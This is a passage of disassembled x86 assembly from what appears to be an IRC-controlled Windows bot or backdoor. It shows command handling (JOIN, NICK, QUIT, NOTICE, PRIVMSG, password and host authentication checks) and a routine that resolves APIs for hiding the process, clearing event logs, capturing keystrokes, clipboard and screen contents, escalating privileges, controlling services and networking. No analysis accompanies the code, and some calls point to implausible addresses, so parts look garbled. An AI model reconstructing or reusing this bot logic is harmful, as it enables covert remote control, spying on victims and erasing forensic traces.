					; sub_401ACD+3E0Bj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2680F4Eh
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E5A4[eax]
		call	near ptr 26A0949h
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43E5A4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E390[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D6:				; CODE XREF: sub_401ACD+3DCCj
					; sub_401ACD+3DE1j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409642
		call	sub_40B2C0
		cmp	eax, ebx
		jle	short loc_4095FD
		push	eax
		push	offset unk_429DC8
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: sub_401ACD+7B23j
		push	offset unk_429DA0


loc_409602:				; CODE XREF: sub_401ACD+24FAj
					; sub_401ACD+2519j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_409610:				; CODE XREF: sub_401ACD+721Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409629:				; CODE XREF: sub_401ACD+6DB5j
		call	sub_409A73
		add	esp, 14h


loc_409631:				; CODE XREF: sub_401ACD+26F7j
					; sub_401ACD+2722j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409642:				; CODE XREF: sub_401ACD+7B1Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965E:				; CODE XREF: sub_401ACD+7C02j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B232
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409685
		push	offset unk_429D7C
		jmp	short loc_40968A
; ---------------------------------------------------------------------------


loc_409685:				; CODE XREF: sub_401ACD+7BAFj
		push	offset unk_429D50


loc_40968A:				; CODE XREF: sub_401ACD+7BB6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096BA
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4096BA:				; CODE XREF: sub_401ACD+7BCFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965E
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D6:				; CODE XREF: sub_401ACD+3DA2j
					; sub_401ACD+3DB7j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset dword_42A4BC
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset dword_429D34
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409712:				; CODE XREF: sub_401ACD+3D78j
					; sub_401ACD+3D8Dj
		push	[ebp+arg_10]
		push	offset dword_42A420
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429D10
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409732:				; CODE XREF: sub_401ACD+3D4Ej
					; sub_401ACD+3D63j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429CEC
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409759:				; CODE XREF: sub_401ACD+3D24j
					; sub_401ACD+3D39j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429CC8
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409779:				; CODE XREF: sub_401ACD+3164j
					; sub_401ACD+3179j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B3:				; CODE XREF: sub_401ACD+7D34j
		push	eax
		call	near ptr 2680F4Eh
		nop


loc_4097BA:				; CODE XREF: sub_401ACD+2AA3j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C1:				; CODE XREF: sub_401ACD+313Aj
					; sub_401ACD+314Fj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B3
; ---------------------------------------------------------------------------


loc_409803:				; CODE XREF: sub_401ACD+EC9j
					; sub_401ACD+EDEj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08E
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C58


loc_40984E:				; CODE XREF: sub_401ACD+70B5j
					; sub_401ACD+778Bj ...
		call	sub_415221
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+6CBAj
		pop	ecx


loc_409855:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_401ACD+AB4j
					; sub_401ACD+AC9j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42D124 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CB50C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429C54 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FC
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BD4
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: sub_401ACD+7DEBj
		mov	[ebp+arg_24], offset off_429164


loc_409903:				; CODE XREF: sub_401ACD+7E52j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409963
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429168
		jb	short loc_409903
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B80
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409963:				; CODE XREF: sub_401ACD+7E45j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409968:				; CODE XREF: sub_401ACD+7EC5j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409988
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409999


loc_409988:				; CODE XREF: sub_401ACD+7EA6j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409968
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409999:				; CODE XREF: sub_401ACD+7EB9j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099D0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B60
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4099D0:				; CODE XREF: sub_401ACD+7EE7j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B40
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E1:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		mov	dword_4CB504, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2D	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		leave
		retn
sub_409A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A73	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8E
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8E:				; CODE XREF: sub_409A73+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B11
		push	7D0h
		call	near ptr 2680F4Eh
		nop

locret_409B11:				; CODE XREF: sub_409A73+91j
		leave
		retn
sub_409A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B13	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C33
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB700, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB674, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB658, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB568, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB514, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB544, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB710, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB574, eax
		call	esi
		cmp	dword_4CB700, ebx
		mov	dword_4CB55C, eax
		jz	short loc_409C11
		cmp	dword_4CB674, ebx
		jz	short loc_409C11
		cmp	dword_4CB658, ebx
		jz	short loc_409C11
		cmp	dword_4CB568, ebx
		jz	short loc_409C11
		cmp	dword_4CB544, ebx
		jz	short loc_409C11
		cmp	dword_4CB5BC, ebx
		jz	short loc_409C11
		cmp	dword_4CB6B4, ebx
		jz	short loc_409C11
		cmp	dword_4CB710, ebx
		jz	short loc_409C11
		cmp	dword_4CB574, ebx
		jz	short loc_409C11
		cmp	eax, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409B13+B8j
					; sub_409B13+C0j ...
		mov	dword_4CB714, 1


loc_409C1B:				; CODE XREF: sub_409B13+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB68C, eax
		jz	short loc_409C48
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C48
; ---------------------------------------------------------------------------


loc_409C33:				; CODE XREF: sub_409B13+1Dj
		nop
		call	near ptr 26908E1h
		mov	dword_4CB718, eax
		mov	dword_4CB714, 1


loc_409C48:				; CODE XREF: sub_409B13+117j
					; sub_409B13+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5D
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB6B0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB660, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5F4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB704, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB624, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB644, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB6A8, eax
		call	esi
		cmp	dword_4CB6B0, ebx
		mov	dword_4CB594, eax
		jz	short loc_409D01
		cmp	dword_4CB660, ebx
		jz	short loc_409D01
		cmp	dword_4CB5F4, ebx
		jz	short loc_409D01
		cmp	dword_4CB704, ebx
		jz	short loc_409D01
		cmp	dword_4CB624, ebx
		jz	short loc_409D01
		cmp	dword_4CB644, ebx
		jz	short loc_409D01
		cmp	dword_4CB6A8, ebx
		jz	short loc_409D01
		cmp	eax, ebx
		jnz	short loc_409D0B


loc_409D01:				; CODE XREF: sub_409B13+1B8j
					; sub_409B13+1C0j ...
		mov	dword_4CB71C, 1


loc_409D0B:				; CODE XREF: sub_409B13+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB620, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB528, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi
		cmp	dword_4CB620, ebx
		mov	dword_4CB5D8, eax
		jz	short loc_409D68
		cmp	dword_4CB528, ebx
		jz	short loc_409D68
		cmp	dword_4CB5F0, ebx
		jz	short loc_409D68
		cmp	eax, ebx
		jnz	short loc_409D72
		jmp	short loc_409D68
; ---------------------------------------------------------------------------


loc_409D5D:				; CODE XREF: sub_409B13+144j
		nop
		call	near ptr 26908E1h
		mov	dword_4CB720, eax


loc_409D68:				; CODE XREF: sub_409B13+232j
					; sub_409B13+23Aj ...
		mov	dword_4CB71C, 1


loc_409D72:				; CODE XREF: sub_409B13+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2B
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB608, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB678, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB554, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB5B8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB630, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5D4, eax
		call	esi
		cmp	dword_4CB6C4, ebx
		mov	dword_4CB5E4, eax
		jz	short loc_409E1B
		cmp	dword_4CB608, ebx
		jz	short loc_409E1B
		cmp	dword_4CB678, ebx
		jz	short loc_409E1B
		cmp	dword_4CB554, ebx
		jz	short loc_409E1B
		cmp	dword_4CB5B8, ebx
		jz	short loc_409E1B
		cmp	dword_4CB630, ebx
		jnz	short loc_409E25


loc_409E1B:				; CODE XREF: sub_409B13+2DEj
					; sub_409B13+2E6j ...
		mov	dword_4CB724, 1


loc_409E25:				; CODE XREF: sub_409B13+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB638, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB610, eax
		call	esi
		cmp	dword_4CB638, ebx
		mov	dword_4CB6C0, eax
		jz	short loc_409E60
		cmp	dword_4CB610, ebx
		jz	short loc_409E60
		cmp	eax, ebx
		jnz	short loc_409E6A


loc_409E60:				; CODE XREF: sub_409B13+33Fj
					; sub_409B13+347j
		mov	dword_4CB724, 1


loc_409E6A:				; CODE XREF: sub_409B13+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB648, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB530, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB538, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB59C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB5A0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB54C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB614, eax
		call	esi
		cmp	dword_4CB648, ebx
		mov	dword_4CB53C, eax
		jz	short loc_409F0E
		cmp	dword_4CB530, ebx
		jz	short loc_409F0E
		cmp	dword_4CB538, ebx
		jz	short loc_409F0E
		cmp	dword_4CB59C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB5A0, ebx
		jz	short loc_409F0E
		cmp	dword_4CB54C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB614, ebx
		jz	short loc_409F0E
		cmp	eax, ebx
		jnz	short loc_409F18


loc_409F0E:				; CODE XREF: sub_409B13+3C5j
					; sub_409B13+3CDj ...
		mov	dword_4CB724, 1


loc_409F18:				; CODE XREF: sub_409B13+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB534, eax
		jnz	short loc_409F40
		jmp	short loc_409F36
; ---------------------------------------------------------------------------


loc_409F2B:				; CODE XREF: sub_409B13+26Aj
		nop
		call	near ptr 26908E1h
		mov	dword_4CB728, eax


loc_409F36:				; CODE XREF: sub_409B13+416j
		mov	dword_4CB724, 1


loc_409F40:				; CODE XREF: sub_409B13+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00C
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB640, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB698, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB6A0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB65C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB578, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB524, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB69C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB510, eax
		call	esi
		cmp	dword_4CB640, ebx
		mov	dword_4CB5B0, eax
		jz	short loc_40A017
		cmp	dword_4CB698, ebx
		jz	short loc_40A017
		cmp	dword_4CB6A0, ebx
		jz	short loc_40A017
		cmp	dword_4CB65C, ebx
		jz	short loc_40A017
		cmp	dword_4CB578, ebx
		jz	short loc_40A017
		cmp	dword_4CB524, ebx
		jz	short loc_40A017
		cmp	dword_4CB69C, ebx
		jz	short loc_40A017
		cmp	dword_4CB510, ebx
		jz	short loc_40A017
		cmp	eax, ebx
		jnz	short loc_40A021
		jmp	short loc_40A017
; ---------------------------------------------------------------------------


loc_40A00C:				; CODE XREF: sub_409B13+438j
		nop
		call	near ptr 26908E1h
		mov	dword_4CB730, eax


loc_40A017:				; CODE XREF: sub_409B13+4B9j
					; sub_409B13+4C1j ...
		mov	dword_4CB72C, 1


loc_40A021:				; CODE XREF: sub_409B13+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DD
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB5C4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6F8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB564, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB540, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB600, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6F0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5FC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB694, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB654, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB650, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB584, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB57C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB6B8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB66C, eax
		call	esi
		mov	dword_4CB62C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB680, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB63C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB67C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6E8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB634, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB668, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6D8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB60C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB5A8, eax
		call	esi
		cmp	dword_4CB5C4, ebx
		mov	dword_4CB6EC, eax
		jz	loc_40A2E8
		cmp	dword_4CB6F8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB564, ebx
		jz	loc_40A2E8
		cmp	dword_4CB600, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5E8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5AC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6D4, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6F0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5FC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6E0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB694, ebx
		jz	loc_40A2E8
		cmp	dword_4CB654, ebx
		jz	loc_40A2E8
		cmp	dword_4CB650, ebx
		jz	loc_40A2E8
		cmp	dword_4CB584, ebx
		jz	short loc_40A2E8
